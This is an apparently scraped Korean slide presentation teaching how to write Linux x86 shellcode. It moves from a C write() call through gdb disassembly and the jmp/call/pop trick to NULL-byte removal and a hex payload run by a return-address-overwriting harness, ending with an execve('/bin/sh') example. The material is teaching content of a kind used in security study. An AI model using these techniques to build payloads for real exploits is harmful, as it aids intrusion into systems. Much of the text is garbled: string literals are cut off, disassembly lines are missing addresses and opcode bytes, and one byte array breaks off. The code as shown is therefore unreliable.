Presentation is loading. Please wait.

Presentation is loading. Please wait.

Shellcode 작성 김영성.

Similar presentations


Presentation on theme: "Shellcode 작성 김영성."— Presentation transcript:

1 Shellcode 작성 김영성

2 CONTENTS INDEX 필요지식 Shellcode 작성방법 Shellcode 작성

3 CONTENTS 1] 필요지식 스택 레지스터 스택프레임 어셈블리 구조와 기본명령어 Systemcall

4 01│ Stack, Register, StackFrame
contants 01

5 02│ 기본 어셈블리어 contants 01

6 2] Shellcode 작성방법 1. 원하는 코드를 C언어로 작성 2. 코드를 어셈블리어로 변환( gcc –s )
3. 생성된 어셈블리어를 참조하여 필요한 부분만 이용하여 따로 작성 ( 문자열 상수의 경우 참조가 안되므로, 상대적인 주소로 바꿔줘서 작성 ) 4. 작성한 어셈블리어 코드를 바이너리 코드로 변경했을 때, NULL 이 포함되어있으면 NULL이 포함되지 않게 수정 (ex) movb 0x00, $eax -> xor $eax, $eax 5. ShellCode 작성 contants 01

7 3] Shellcode 작성 CONTENTS 1 C언어 코드 작성, 어셈변환 2 필요한 부분만 어셈블리어 재작성
필요한 부분만 어셈블리어 재작성 NULL이 포함된 바이너리 바꿔주기

8 01│ C언어 코드 작성, 어셈변환(1) main() {
write(1,"I'm Willy in } gcc test21.c -o test21 -mpreferred-stack-boundary=2 -static gdb -q test21 (gdb) disassemble main Dump of assembler code for function main: 0x80481dc <main>: push %ebp 0x80481dd <main+1>: mov %esp,%ebp 0x80481df <main+3>: push $0x17 0x80481e1 <main+5>: push $0x808b1c8 0x80481e6 <main+10>: push $0x1 0x80481e8 <main+12>: call 0x804c390 <__libc_write> 0x80481ed <main+17>: add $0xc,%esp 0x80481f0 <main+20>: leave 0x80481f1 <main+21>: ret 0x80481f2 <main+22>: nop 0x80481f3 <main+23>: nop End of assembler dump. contants 01

9 01│ C언어 코드 작성, 어셈변환(2) (gdb) disassemble __libc_write
Dump of assembler code for function __libc_write: 0x804c390 <__libc_write>: push %ebx 0x804c391 <__libc_write+1>: mov 0x10(%esp,1),%edx 0x804c395 <__libc_write+5>: mov 0xc(%esp,1),%ecx 0x804c399 <__libc_write+9>: mov 0x8(%esp,1),%ebx 0x804c39d <__libc_write+13>: mov $0x4,%eax 0x804c3a2 <__libc_write+18>: int $0x80 0x804c3a4 <__libc_write+20>: pop %ebx 0x804c3a5 <__libc_write+21>: cmp $0xfffff001,%eax 0x804c3aa <__libc_write+26>: jae 0x804cab0 <__syscall_error> 0x804c3b0 <__libc_write+32>: ret End of assembler dump. contants 01

10 02│ 필요한 부분만 어셈블리어 재작성(1) contants 01

11 02│ 필요한 부분만 어셈블리어 재작성(2) [willy@Null@Root]$ cat test23.s .LC0:
.string "I'm Willy in .globl main main: movl $0x04, %eax movl $0x01, %ebx movl $.LC0, %ecx movl $0x17, %edx int $0x <--- write()를 위한 인터럽트 movl $0x01, %eax movl $0x00, %ebx int $0x <--- exit(0)을 위한 인터럽트 ret contants 01

12 02│ 필요한 부분만 어셈블리어 재작성(3) .globl main main: jmp strings
start: popl %esi movl $0x04, %eax movl $0x01, %ebx movl %esi, %ecx movl $0x17, %edx int $0x80 movl $0x01, %eax movl $0x00, %ebx strings:call start .string "I'm Willy in contants 01

13 02│ 필요한 부분만 어셈블리어 재작성(4) char shell_code[] =
c <main>: 804841c: eb jmp e <strings> e <start>: 804841e: e pop %esi 804841f: b mov $0x4,%eax : bb mov $0x1,%ebx : f mov %esi,%ecx 804842b: ba mov $0x17,%edx : cd int $0x80 : b mov $0x1,%eax : bb mov $0x0,%ebx 804843c: cd int $0x80 e <strings>: 804843e: e8 db ff ff ff call e <start> : dec %ecx : daa : d insl (%dx),%es:(%edi) : and %dl,0x69(%edi) : c insb (%dx),%es:(%edi) 804844a: c insb (%dx),%es:(%edi) 804844b: jns d <__do_global_ctors_aux+0xd> 804844d: e 20 4e 75 6c 6c imul $0x6c6c754e,0x20(%esi),%ebp : inc %eax : push %edx : f outsl %ds:(%esi),(%dx) : f outsl %ds:(%esi),(%dx) : a je <__do_global_ctors_aux+0x4> char shell_code[] = "\xeb\x20\x5e\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x89\xf1\xba\x17\x00\x00\x00" "\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdb\xff\xff\xff" "I'm willy in contants 01

14 03│ NULL 이 포함된 바이너리코드 바꿔주기(1)
contants 01

15 03│ NULL 이 포함된 바이너리코드 바꿔주기(2)
c <main>: 804841c: eb jmp <strings> e <start>: 804841e: e pop %esi 804841f: c xor %eax,%eax : db xor %ebx,%ebx : d xor %edx,%edx : b mov $0x4,%al : b mov $0x1,%bl : f mov %esi,%ecx 804842b: b mov $0x17,%dl 804842d: cd int $0x80 804842f: b mov $0x1,%al : db xor %ebx,%ebx : cd int $0x80 <strings>: : e8 e4 ff ff ff call e <start> 804843a: dec %ecx 804843b: daa 804843c: d insl (%dx),%es:(%edi) 804843d: and %dl,0x69(%edi) : c insb (%dx),%es:(%edi) : c insb (%dx),%es:(%edi) : jns <__do_global_ctors_aux+0x4> : e 20 4e 75 6c 6c imul $0x6c6c754e,0x20(%esi),%ebp 804844b: inc %eax 804844c: push %edx 804844d: f outsl %ds:(%esi),(%dx) 804844e: f outsl %ds:(%esi),(%dx) 804844f: a je b <strings+0x26> contants 01

16 03│ NULL 이 포함된 바이너리코드 바꿔주기(3)
cat test42.c char print_code[] = "\xeb\x17\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x04\xb3\x01\x89\xf1" "\xb2\x17\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff" "I'm willy in main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)print_code; } gcc test42.c -o test42 ./test42 I'm willy in contants 01

17 Shell을 띄우기 위해서는? main() { char *name[2]; name[0] = "/bin/sh";
-> System(), exec(), execve() ….등 쉘을 띄울 수 있는 함수를 이용 main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0],name,NULL); } contants 01

18 참고자료 *** How to make shellcode in linux for beginners *** by Willy in contants 01

19 THANK YOU


Download ppt "Shellcode 작성 김영성."

Similar presentations


Ads by Google